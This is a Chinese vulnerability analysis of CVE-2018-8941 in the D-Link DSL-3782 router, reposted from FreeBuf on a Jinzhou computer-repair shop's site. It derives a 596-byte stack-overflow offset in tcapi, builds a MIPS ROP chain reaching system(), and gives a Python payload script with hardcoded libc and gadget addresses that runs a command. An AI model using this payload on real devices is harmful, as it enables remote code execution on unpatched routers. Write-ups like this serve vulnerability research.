锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
D-Link DSL-3782 代码路由器漏洞分析CVE-2018-8941 远程代码执行

作者: 佚名  日期:2018-05-23 14:25:20   来源: 本站整理

一. 漏洞概述

CVE-2018-8941 D-Link DSL-3782 代码执行 

友讯科技股份有限公司成立于1986年,专注于电脑网路设备的设计开发,并自创「D-Link」品牌,行销全球。

此漏洞位于 D-Link DSL-3782路由器,授权用户可以远程代码执行

参考信息:https://github.com/SECFORCE/CVE-2018-8941#cve-2018-8941-d-link-dsl-3782-code-execution-proof-of-concept

漏洞固件版本:DSL-3782_A1_EU_1.01_07282016.bin

下载链接:

https://eu.dlink.com/cz/cs/products/dsl-3782-wireless-ac1200-dual-band-vdsl-adsl-modem-router#Technical-Specifications

漏洞存在于 “/USEFS/BI/TCAPI”二进制文件中,它被用作Web GUI中“诊断”功能的实现代码,一个经过身份验证的用户可以使用一个长缓冲区作为参数,导致内存损坏。此外,可以重定向程序的流程并执行任意代码。

 

 

二. 漏洞分析

 

 

2.1 控制eip

 

 

/userfs/bin/tcapi输入不当的参数会触发漏洞

 

 

MIPS 大端结构

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

Tcapiset 命令用法如下

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

tcapi set会调用Libtcapi.so.1中的tcapi_set函数

 

 

其中第二个Strcpy拷贝未验证src的长度,导致栈溢出

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

ra放在-4 ,拷贝的目标地址在- 0×258,0×258-0×4=596,

 

 

Payload=”A”*596+”BBBB”测试一下

 

 

图片.png

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

Crash的时候,eip为42424242,位置正确,此时s1,s0,s2,s3 可以被控制

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

2.2 构造rop链

 

 

貌似还是很友好

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

由于本身文件很小,可能不太好找到合适的godget,看下内存,用了如下的lib文件

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

Libc里面的godget比较多,mips下的rop主要是去找到 move t9,xxx;jalrt9这样的指令来达到控制执行流程的目的,其中xxx是我们在溢出的时候可以控制的寄存器。此漏洞中我们可以控制s0,s1,s2,s3 寄存器。

 

 

用misprop插件在IDA 搜索godget

 

 

直接搜索从栈中读取参数到寄存器的godget

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

找到如下的godget,把栈中的参数放到s5,再直接放到a0作为下一个call参数,并把system的地址从s0传到t9,一个godget搞定

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

现在只差s5 的值了,可以看到s5=sp+0×10,那么在payload中ra的后面16字节后再放我们需要system执行的参数

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

 

 

我们的参数需要放到

 

 

构造如下的payload:

#!/usr/bin/envpython  import sys  import struct  libc =0x40868000  s0=struct.pack(">I",0x408C1BB0)#system  s1=struct.pack(">I",0x41414141)#useless  s2=struct.pack(">I",0x43434343)#useless  s3=struct.pack(">I",0x44444444)#useless  ra=struct.pack(">I",0x4087E56C)#godget1  x="A"*580+s0+s1+s2+s3+ra+"x"*16+"ls"

 

 

 

执行后,

 

 

可以在截图中看到,成功执行了我们的远程命令“ls“”

 

 

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

*本文作者:kczwa1,转载请注明来自FreeBuf.COM



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等